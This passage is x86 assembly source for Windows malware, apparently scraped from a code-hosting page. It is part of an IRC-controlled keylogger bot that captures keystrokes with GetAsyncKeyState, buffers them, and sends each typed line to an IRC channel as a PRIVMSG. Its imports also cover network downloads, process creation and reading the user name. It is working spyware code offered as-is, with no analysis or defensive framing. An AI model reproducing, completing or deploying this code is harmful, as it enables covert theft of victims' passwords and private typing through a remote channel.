;is key from 1 - Z
jmp
ScanNextKey
;nop, scan next one
IsSpace:
;cat other key to buffer
invoke
lstrcat
,
\
KeylogBuffer
,
\
"
"
jmp
LiveKeylog
IsBack:
;cat other key to buffer
invoke
lstrcat
,
\
KeylogBuffer
,
\
"{
back
}"
jmp
LiveKeylog
IsTab:
;cat other key to buffer
invoke
lstrcat
,
\
KeylogBuffer
,
\
"{
tab
}"
jmp
LiveKeylog
IsNumpad0:
;cat other key to buffer
invoke
lstrcat
,
\
KeylogBuffer
,
\
"0"
jmp
LiveKeylog
IsNumpad1:
;cat other key to buffer
invoke
lstrcat
,
\
KeylogBuffer
,
\
"1"
jmp
LiveKeylog
IsNumpad2:
;cat other key to buffer
invoke
lstrcat
,
\
KeylogBuffer
,
\
"2"
jmp
LiveKeylog
IsNumpad3:
;cat other key to buffer
invoke
lstrcat
,
\
KeylogBuffer
,
\
"3"
jmp
LiveKeylog
IsNumpad4:
;cat other key to buffer
invoke
lstrcat
,
\
KeylogBuffer
,
\
"4"
jmp
LiveKeylog
IsNumpad5:
;cat other key to buffer
invoke
lstrcat
,
\
KeylogBuffer
,
\
"5"
jmp
LiveKeylog
IsNumpad6:
;cat other key to buffer
invoke
lstrcat
,
\
KeylogBuffer
,
\
"6"
jmp
LiveKeylog
IsNumpad7:
;cat other key to buffer
invoke
lstrcat
,
\
KeylogBuffer
,
\
"7"
jmp
LiveKeylog
IsNumpad8:
;cat other key to buffer
invoke
lstrcat
,
\
KeylogBuffer
,
\
"8"
jmp
LiveKeylog
IsNumpad9:
;cat other key to buffer
invoke
lstrcat
,
\
KeylogBuffer
,
\
"9"
jmp
LiveKeylog
IsReturn:
;cat other key to buffer
invoke
lstrcat
,
\
KeylogBuffer
,
\
"{
crlf
}"
jmp
LiveKeylog
IsKey:
;cat key to buffer
mov
dword
[
Byte
Buffer
],
ebx
;key is in ebx
invoke
lstrcat
,
\
;append it to the keylog buffer
KeylogBuffer
,
\
;to this
Byte
Buffer
;the logged key
jmp
LiveKeylog
;log next key
SendKeyLine:
invoke
lstrcpy
,
\
;send complete line to channel
SendBuffer
,
\
;copy to send buffer
"
PRIVMSG
"
;irc command
invoke
lstrcat
,
\
;append channel
SendBuffer
,
\
;to buffer
Channel
;this
invoke
lstrcat
,
\
;cat :
SendBuffer
,
\
;to buffer
"
:
"
;guess
invoke
lstrcat
,
\
;append logged buffer
SendBuffer
,
\
;to send buffer
KeylogBuffer
;from here
call
SendLine
;send line to irc server
mov
dword
[
KeylogBuffer
],
0
;empty buffer
jmp
LiveKeylog
;log next
ret
;return to call
section
'.idata'
import
data
readable
writeable
;imports
library
kernel
,
"
kernel32.dll
"
,
\
winsock
,
"ws2_32.dll"
,
\
user
,
"user32.dll"
,
\
advapi
,
"advapi32.dll"
,
\
wininet
,
"
wininet.dll
"
import
kernel
,
\
lstrcpy
,
"lstrcpyA"
,
\
lstrcpyn
,
"
lstrcpynA
"
,
\
lstrcat
,
"lstrcatA"
,
\
lstrcmp
,
"lstrcmpA"
,
\
lstrlen
,
"
lstrlenA
"
,
\
GetTickCount
,
"
GetTickCount
"
,
\
Sleep
,
"Sleep"
,
\
CreateFile
,
"CreateFileA"
,
\
WriteFile
,
"WriteFile"
,
\
CloseHandle
,
"
Cl
oseHandle
"
,
\
CreateProcess
,
"CreateProcessA"
,
\
CreateThread
,
"CreateThread"
,
\
GetExitCodeThread
,
"GetExitCodeThread"
,
\
TerminateThread
,
"
TerminateThread
"
,
\
GetSystemDirectory
,
"GetSystemDirectoryA"
,
\
ExitProcess
,
"ExitProcess"
import
winsock
,
\
WSAStartup
,
"WSAStartup"
,
\
socket
,
"socket"
,
\
inet_addr
,
"
inet_addr
"
,
\
htons
,
"
htons
"
,
\
connect
,
"
connect
"
,
\
recv
,
"recv"
,
\
send
,
"
send
"
,
\
WSACleanup
,
"
WSACleanup
"
import
advapi
,
\
GetUserName
,
"GetUserNameA"
import
user
,
\
CharLowerBuff
,
"CharLowerBuffA"
,
\
MessageBox
,
"MessageBoxA"
,
\
GetAsyncKeyState
,
"
GetAsyncKeyState
"
import
wininet
,
\
InternetOpen
,
"
InternetOpenA
"
,
\
InternetOpenUrl
,
"
InternetOpenUrlA
"
,
\
InternetReadFile
,
"
InternetReadFile
"
,
\
InternetCloseHandle
,
"
InternetCloseHandle
"
\ No newline at end of file
This diff is collapsed.
Click to expand it.
Preview
0%
Loading
Try again
or
attach a new file
.
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Save comment
Cancel
Please
register
or
sign in
to comment